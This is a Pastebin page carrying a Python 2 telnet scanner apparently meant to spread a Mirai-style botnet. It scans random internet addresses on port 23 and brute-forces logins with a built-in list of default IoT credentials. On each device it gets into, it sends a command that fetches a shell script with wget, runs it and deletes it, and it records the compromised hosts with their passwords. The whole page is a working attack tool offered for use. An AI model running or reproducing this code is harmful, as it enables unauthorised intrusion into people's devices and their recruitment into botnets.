Advertisement
KekSec

TELNET SCANNER

Aug 4th, 2018
1,478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.39 KB | None | 0 0
  1. #!/usr/bin/python
  2. import threading
  3. import sys, os, re, time, random, socket, select
  4.  
  5. if len(sys.argv) < 3:
  6.     print "Usage: python "+sys.argv[0]+" <threads> <output file>"
  7.     sys.exit()
  8.  
  9. combo = [
  10.         "root:root",
  11.         "root:",
  12.         "admin:admin",
  13.         "support:support",
  14.         "user:user",
  15.         "admin:",
  16.         "admin:password",
  17.         "root:vizxv",
  18.         "root:admin",
  19.         "root:xc3511",
  20.         "root:888888",
  21.         "root:xmhdipc",
  22.         "root:default",
  23.         "root:juantech",
  24.         "root:123456",
  25.         "root:54321",
  26.         "root:12345",
  27.         "root:pass",
  28.         "ubnt:ubnt",
  29.         "root:klv1234",
  30.         "root:Zte521",
  31.         "root:hi3518",
  32.         "root:jvbzd",
  33.         "root:anko",
  34.         "root:zlxx.",
  35.         "root:7ujMko0vizxv",
  36.         "root:7ujMko0admin",
  37.         "root:system",
  38.         "root:ikwb",
  39.         "root:dreambox",
  40.         "root:user",
  41.         "root:realtek",
  42.         "root:00000000",
  43.         "admin:1111111",
  44.         "admin:1234",
  45.         "admin:12345",
  46.         "admin:54321",
  47.         "admin:123456",
  48.         "admin:7ujMko0admin",
  49.         "admin:1234",
  50.         "admin:pass",
  51.         "admin:meinsm",
  52.         "admin:admin1234",
  53.         "root:1111",
  54.         "admin:smcadmin",
  55.         "admin:1111",
  56.         "root:666666",
  57.         "root:password",
  58.         "root:1234",
  59.         "root:klv123",
  60.         "Administrator:admin",
  61.         "service:service",
  62.         "supervisor:supervisor",
  63.         "guest:guest",
  64.         "guest:12345",
  65.         "guest:12345",
  66.         "admin1:password",
  67.         "administrator:1234",
  68.         "666666:666666",
  69.         "888888:888888",
  70.         "tech:tech",
  71.         "mother:fucker"
  72. ]
  73.  
  74. threads = int(sys.argv[1])
  75. output_file = sys.argv[2]
  76.  
  77. def readUntil(tn, string, timeout=8):
  78.     buf = ''
  79.     start_time = time.time()
  80.     while time.time() - start_time < timeout:
  81.         buf += tn.recv(1024)
  82.         time.sleep(0.1)
  83.         if string in buf: return buf
  84.     raise Exception('TIMEOUT!')
  85.  
  86. def recvTimeout(sock, size, timeout=8):
  87.     sock.setblocking(0)
  88.     ready = select.select([sock], [], [], timeout)
  89.     if ready[0]:
  90.         data = sock.recv(size)
  91.         return data
  92.     return ""
  93.  
  94.  
  95. class router(threading.Thread):
  96.     def __init__ (self, ip):
  97.         threading.Thread.__init__(self)
  98.         self.ip = str(ip).rstrip('\n')
  99.         self.rekdevice="cd /tmp; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  100.     def run(self):
  101.         global fh
  102.         username = ""
  103.         password = ""
  104.         for passwd in combo:
  105.             if ":n/a" in passwd:
  106.                 password=""
  107.             else:
  108.                 password=passwd.split(":")[1]
  109.             if "n/a:" in passwd:
  110.                 username=""
  111.             else:
  112.                 username=passwd.split(":")[0]
  113.             try:
  114.                 tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  115.                 tn.settimeout(0.37)
  116.                 tn.connect((self.ip,23))
  117.             except Exception:
  118.                 tn.close()
  119.                 break
  120.             try:
  121.                 hoho = ''
  122.                 hoho += readUntil(tn, ":")
  123.                 if ":" in hoho:
  124.                     tn.send(username + "\r\n")
  125.                     time.sleep(0.1)
  126.                 hoho = ''
  127.                 hoho += readUntil(tn, ":")
  128.                 if ":" in hoho:
  129.                     tn.send(password + "\r\n")
  130.                     time.sleep(0.1)
  131.                 prompt = ''
  132.                 prompt += recvTimeout(tn, 40960)
  133.                 if "#" in prompt or "$":
  134.                     success = True              
  135.                 else:
  136.                     tn.close()
  137.                 if success == True:
  138.                     try:
  139.                         tn.send(self.rekdevice + "\r\n")
  140.                         fh.write(self.ip + ":23 " + username + ":" + password + "\n") # 1.1.1.1:23 user:pass //mirai
  141.                         fh.flush()
  142.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  143.                         time.sleep(10)
  144.                         tn.close()
  145.                         break
  146.                     except:
  147.                         tn.close()
  148.                 else:
  149.                     tn.close()
  150.             except Exception:
  151.                 tn.close()
  152.  
  153. def gen_IP():
  154.     not_valid = [10,127,169,172,192]
  155.     first = random.randrange(1,256)
  156.     while first in not_valid:
  157.         first = random.randrange(1,256)
  158.     ip = ".".join([str(first),str(random.randrange(1,256)),
  159.     str(random.randrange(1,256)),str(random.randrange(1,256))])
  160.     return ip
  161.  
  162. def worker():
  163.     while True:
  164.         try:
  165.             IP = gen_IP()
  166.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  167.             s.settimeout(0.37)
  168.             s.connect((IP, 23))
  169.             s.close()
  170.             thread = router(IP)
  171.             thread.start()
  172.             time.sleep(0.02)
  173.         except:
  174.             pass
  175.  
  176. global fh
  177. fh = open(output_file, "a")
  178. for l in xrange(threads):
  179.     try:
  180.         t = threading.Thread(target=worker)
  181.         t.start()
  182.     except:
  183.         pass
  184.  
  185. print "Started " + str(threads) + " scanner threads! Press enter to stop."
  186.  
  187. raw_input()
  188. os.kill(os.getpid(), 9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement